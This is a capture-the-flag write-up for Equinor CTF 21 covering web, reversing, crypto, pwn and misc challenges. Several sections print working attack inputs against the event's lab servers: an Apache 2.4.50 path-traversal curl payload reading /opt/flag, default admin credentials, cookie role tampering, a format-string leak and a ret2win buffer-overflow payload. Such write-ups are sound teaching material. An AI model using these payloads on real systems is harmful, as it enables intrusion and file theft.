Home Equinor CTF 21
Post
Cancel

Equinor CTF 21

Web

AH-64

Category: Web

Super Six One, go to UHF secure. I’ve got some bad news. We see vulnerabilites like it is 2001. Tango located in /opt/flag

Site: AH-64 (http://io.ept.gg:30071/)

Going into the link we get a website with the text “It works!”, and no more.

We can send a GET-request to the webpage to see the server version.

Using httpie:

1
http GET http://io.ept.gg:30071/

Shows us the Apache version

1
Server: Apache/2.4.50 (Unix)

A little research shows us that this server is vulnerable to a path-traversal attack (https://www.exploit-db.com/exploits/50406) The webpage also gives us the method to perform this attack.

1
2
curl http://io.ept.gg:30071//cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/opt/flag
> EPT{we've_got_a_blackhawk_down_we've_got_a_blackhawk_down_i_mean_apache}

Notes

Category: Web

There may be some notes you need to see, or maybe not?

OWASP can help you if you need some hints, remember this is an old developer.

Site: notes.io.ept.gg

Entering the site we get the same login screen as in Stonks. We know we can log in with

1
2
Username: admin
Password: admin

We are presented with notes when we are logged in, and we can post them as well. If we click the note already created, we get the url:

https://notes.io.ept.gg/note?noteid=2

Weird that we get noteid=2, and not noteid=1 when there is only one note…

The text for the task mention OWASP and an old developer, which means that the site may be vulnerable to some attack from the OWASP site.

We can find the top-10 critical security risks on the OWASP site (the different attacks do not differ much for newer version) https://owasp.org/www-pdf-archive/OWASP_Top_10_-_2013.pdf

Injection is the #1 spot, so we can try to inject in the url of the website. When viewing the note mentioned previously, we saw that the noteid was 2, we can change the url to:

https://notes.io.ept.gg/note?noteid=1

And we are presented with:

1
2
3
4
5
Title:
Admin secret note

Note:
EPT{R3member_2_v3ryf1_us3rs}

Stonks

Category: Web

This is the Stonks System, see if you can get admin access.

Site: stonks.io.ept.gg

By accessing the site we are presented with a login screen. We can either create a new account and login with that one, or attempt to log in with the credentials:

1
2
Username: admin
Password: admin

Which gives us a dashboard page. When attempting to access the settings page, we are given the message:

Only admins can view settings

In the cookies of the site we can see:

NameValue
RoleEndUser
SessioneyJzdGF0dXMiOiJ1c2VyIn0.YX8UKw.6l8j6V06zVc2bWGFEJZoccd6I3s

We can change the role in the cookie to Admin, which gives us access to the settings page, with the flag:

1
EPT{Cook1es_ar3_fun}

Rev

baby0

Category: Reversing Magical strings are great.

We are given an executable file baby0

1
2
file baby0
baby0: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=18f12d481a51a9f8d2e054453bc392beb90d327c, for GNU/Linux 3.2.0, not stripped

Let’s see if the flag is stored as a string inside the file. We know the format starts with EPT, so we can search for that word in the strings.

1
2
strings baby0 | grep EPT
> EPT{strings_are_great!}

Crypto

Encoding or encryption?

Is encoding and encryption the same thing?

55 6b 4e 48 65 32 6f 7a 58 32 4e 6f 5a 31 39 6d 4d 48 6f 7a 58 7a 4e 68 63 44 42 78 64 6d 46 30 58 7a 46 68 58 32 77 77 61 47 56 66 4d 32 46 77 5a 57 78 6e 64 6a > 42 68 66 51 3d 3d

This looks like hexadecimals, so we can try to convert them into ascii-text.

1
2
echo "55 6b 4e 48 65 32 6f 7a 58 32 4e 6f 5a 31 39 6d 4d 48 6f 7a 58 7a 4e 68 63 44 42 78 64 6d 46 30 58 7a 46 68 58 32 77 77 61 47 56 66 4d 32 46 77 5a 57 78 6e 64 6a 42 68 66 51 3d 3d" | xxd -r -p
UkNHe2ozX2NoZ19mMHozXzNhcDBxdmF0XzFhX2wwaGVfM2FwZWxndjBhfQ==

Which looks like base64 encoding, so we try to decrypt it.

1
2
echo "UkNHe2ozX2NoZ19mMHozXzNhcDBxdmF0XzFhX2wwaGVfM2FwZWxndjBhfQ==" | base64 -d
> RCG{j3_chg_f0z3_3ap0qvat_1a_l0he_3apelgv0a}

We know that the flag has the format EPT{…}, so this looks like a rotation cipher. It can either be brute-forced, or we can guess that this is a rot13 cipher.

1
2
echo 'RCG{j3_chg_f0z3_3ap0qvat_1a_l0he_3apelgv0a}' | tr 'A-Za-z' 'N-ZA-Mn-za-m'
> EPT{w3_put_s0m3_3nc0ding_1n_y0ur_3ncryti0n}

Never-gonna-exclude-you

Category: Crypto

Are we eXclusive, OR?

We are given a txt file with a lot of hexadecimals:

1
25 0c 44 19 45 41 1d 1b 4c 16 0d 00 08 0d 0c 45 13 00 54 18 0a 59 1e 06 ...

The name of the task mention xor, so let’s try to find the key to xor with (using https://www.dcode.fr/xor-cipher) Pasting the hexadecimals give us a most likely keylength of 11.

Using the same page we can let the site attempt to brute-force the xor, also giving us the key:

7269636b206173746c6579

Which in ascii is:

rick astley

The site does not show all the text with the brute force, as it attempts other solution as well, but we can just change the mode to xor with the key we just found.

Giving us some well known lyrics:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
We're no strangers to love
You know the rules and so do I
A full commitment's what I'm thinking of
You wouldn't get this from any other guy
I just wanna tell you how I'm feeling
Gotta make you understand
Never gonna give you up
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye
Never gonna tell a lie and hurt you
We've known each other for so long
...
RVBUe3gwci0xNS1mdW59

At the bottom is some encoding, which turns out to be base64, so we can decrypt it:

1
echo "RVBUe3gwci0xNS1mdW59" | base64 -d

EPT{x0r-15-fun}

Pwn

I think we have a roof leak

Category: Pwn

The printf function in expects one or more parameters. In the man page its defined as: int printf(const char *format, …);

If the first (and only) argument is a pointer string without any formating options it just prints the string. But what happens if we only have one argument, that > is user controlled?

The man page can be a good place to start.

nc io.ept.gg 30021

We are given a C-file and an executable. The main function of the c-file looks like this:

1
2
3
4
5
6
7
8
9
10
11
int main() {
    ignore_me_init_buffering();
    ignore_me_init_signal();

    char *flagPointer = flag;
    char input[20];
    puts("Enter some text: ");
    fgets(input, 19, stdin);
    printf(input);
    return 0;
}

Looking at the rest of the c-file we can see that the flag is stored on the stack.

1
char flag[]  = "EPT{REDACTED}";

We can also see that the printf function is missing something (example of the printf-function in the text for the task above). This makes us able to print values stored on the stack, where our flag is stored as well.

I came over this writeup for a similar problem (https://nikhilh20.medium.com/format-string-exploit-ccefad8fd66b), which used the syntax

%n$s

where n is an integer.

Since this program isn’t that big, we can try different numbers from 1 and up.

%7$s

That gave us the flag

EPT{w00tw00t_you_found_m3}

Please call 1-500-WIN to get the flag!

Category: Pwn

You might have heard of buffer overflows, but do you know how to exploit them?

The goal of this challenge is to overwrite main’s return pointer which is stored on the stack, with the address of the win() function. There are several good (and > bad) tutorials on how to do this online. Googeling for example ret2win or binary exploitation buffer overflow might be a good place to start.

nc io.ept.gg 30022

We are given a c-file (pwn2.c in this directory). By looking at the main-function, we can see that the program uses gets(), which is vulnerable to a buffer overflow. We also see that there is a function, win, which prints out the flag if we can get it to run. We can overwrite the return address to return to the win-function, to print out the flag.

Breaking the program

First we need to find out when the program breaks. We see that the buffer gets() writes into is 40 bytes. We try to write different amount of ‘A’s to find out exactly when the program breaks.

1
2
3
python3 -c "print('A'*60)" | ./pwn2
Enter some text:
Segmentation fault (core dumped)

We can see that the program seg-faults when we write 60 bytes. By trying some more we find out that the program seg-fauls at 57 bytes, but not 56. This means that at byte 57 we start overwriting the return address in EIP.

We must know the funciton-address of the win-function we want the program to run. We can use gdb to find the function-address. We set a breakpoint in the program at the main function, and disassemble the win function.

1
2
3
> b main
> run
> disass win

0x0000000000401314 <+0>: endbr64

0x0000000000401318 <+4>: push %rbp

0x0000000000401319 <+5>: mov %rsp,%rbp

0x000000000040131c <+8>: sub $0x110,%rsp

We see that the win-function has the address 0x401314, which is the value we want to write into the EIP-register.

We cannot write 401314 directly into the EIP-register, because we need padding (also endian notation). We can use pwntools to do the 64-bit padding and endian notation for use:

1
2
3
>>> from pwn import *
>>> p64(0x401314)
b'\x14\x13@\x00\x00\x00\x00\x00'

We now have the amount of ‘A’s to reach the point where we write over the EIP-register, we also have the address to write into that register. We combine the two together and get the following:

1
python3 -c "print('A'*56 + '\x14\x13@\x00\x00\x00\x00\x00')" | nc io.ept.gg 30022

We get out the flag:

EPT{congratulations_y0u_win!}

Misc

Numbers and letters

Category: Misc

Composite numbers are no-go, ‘cause it’s prime time!

We are given a txt file looking something like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
611i
474W
343b
357s
634k
982b
925E
494X
350w
1267m
404P
1269v
786L
...

The hint from the text indicates that we might be looking for prime numbers in the text, and as each number has a letter assigned to it, it might construct a flag in the end.

1
2
3
4
5
6
7
8
9
10
11
12
13
from math import sqrt

# List of all prime numbers between 2 and 10 000
prime = [2, 3, 5, 7, ..., 9973]
with open("numbers_letters.txt", "r") as file:
    lines = file.read().splitlines()
    ls = []
    prime_flag = 0
    for i in lines:
        num = int(i[:-1])
        if num in prime:
            print(i[-1], end= "")

EPT{primeNumbersAreFunSoStayInSchool}

Trivial Pursuit on steroids

Category: Misc

Can you provide the correct answer fast enough?

nc io.ept.gg 30023

By connecting to the server we are rapid fired with questions with different decoding questions. This rapid fire is too quick for us to manually decode, and submit, so we need to write a script.

We are handed out example.py which we can add code to to solve the task (both the example file, and the finished script is in the same directory as this file)

After running the python script we get the flag

1
$ python3 nc1.py | nc io.ept.gg 30023
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# If you do not have pwntools installed, run the following command: python3 -m pip install --upgrade pwntools
from pwn import *
import base64
import time

morseAlphabet = {
    "A": ".-",
    "B": "-...",
    "C": "-.-.",
    "D": "-..",
    "E": ".",
    "F": "..-.",
    "G": "--.",
    "H": "....",
    "I": "..",
    "J": ".---",
    "K": "-.-",
    "L": ".-..",
    "M": "--",
    "N": "-.",
    "O": "---",
    "P": ".--.",
    "Q": "--.-",
    "R": ".-.",
    "S": "...",
    "T": "-",
    "U": "..-",
    "V": "...-",
    "W": ".--",
    "X": "-..-",
    "Y": "-.--",
    "Z": "--..",
    " ": "/"
}

inverseMorseAlphabet = dict((v, k) for (k, v) in morseAlphabet.items())

# Function written by (https://gist.github.com/dcdeve/3dfba6566029f87b01aa3e38d6e1e26b)
def decodeMorse(morse, positionInString=0):
    messageSeparated = morse.split(' ')
    decodeMessage = ''
    for char in messageSeparated:
        if char in inverseMorseAlphabet:
            decodeMessage += inverseMorseAlphabet[char]
        else:
            # CNF = Character not found
            decodeMessage += '<CNF>'
    return decodeMessage


# Connect with netcat
io = connect("io.ept.gg", 30023)

# Recieve data
data = io.recvuntil("Are you ready?").decode()

# Send data
io.sendline("Yes")

# Recieve empty line then the line containing the question
io.recvline()
while(1):
    question = io.recvline().decode().strip()
    print(question)
    time.sleep(1)
    # Check if it is a morse question and if so, extract the morse code
    if "morse" in question:
        morse = question.split(": ")[1]

        decoded = decodeMorse(morse)
        print(decoded)
        io.sendline(decoded)

    elif "equation" in question:
        eq = question.split(": ")[1]
        vals = eq.split()
        decoded = 0
        if vals[1] == '+':
            decoded = int(vals[0]) + int(vals[2])

        elif vals[1] == '-':
            decoded = int(vals[0]) - int(vals[2])

        elif vals[1] == '/':
            decoded = int(int(vals[0]) / int(vals[2]))

        elif vals[1] == '*':
            decoded = int(vals[0]) * int(vals[2])

        io.sendline(str(decoded))

    elif "ascii" in question:
        val = question.split(": ")[1]
        lst = val.split()
        sum = ""
        for i in lst:
            sum = sum + chr(int(i))
        io.sendline(sum)

    elif "Base64" in question:
        base = question.split(": ")[1]
        decoded = base64.b64decode(base)
        print(decoded)
        io.sendline(decoded)

    elif "hexadecimals" in question:
        base = question.split(": ")[1]
        decoded = bytearray.fromhex(base).decode()
        print(decoded)
        io.sendline(decoded)
io.interactive()
This post is licensed under CC BY 4.0 by the author.